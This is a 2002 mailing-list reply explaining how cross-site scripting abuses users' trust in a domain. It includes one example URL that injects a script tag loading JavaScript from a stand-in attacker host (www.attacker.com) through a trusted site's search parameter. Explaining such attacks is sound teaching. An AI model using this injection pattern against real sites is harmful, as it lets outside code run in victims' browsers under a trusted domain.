Re: XSS

The real probelm with XSS is that an attacker abuses the trust that a legitimate client has in your domain. An attacker can execute ANY javascript (or HTML) under the guise of the trusted domain, if a script in that domain is vulnerable to XSS. For example, an attacker can use javascript to rewrite an entire HTML page, providing false information under the guise of www.trusteddomain.com/search?<script src="www.attacker.com/myscript.js"></script> thereby subverting the trust that clients put in your domain.

Stephen.

On Tue, 10 Dec 2002, John Madden wrote:

> Hi All,
Received on Wed Dec 11 10:16:42 2002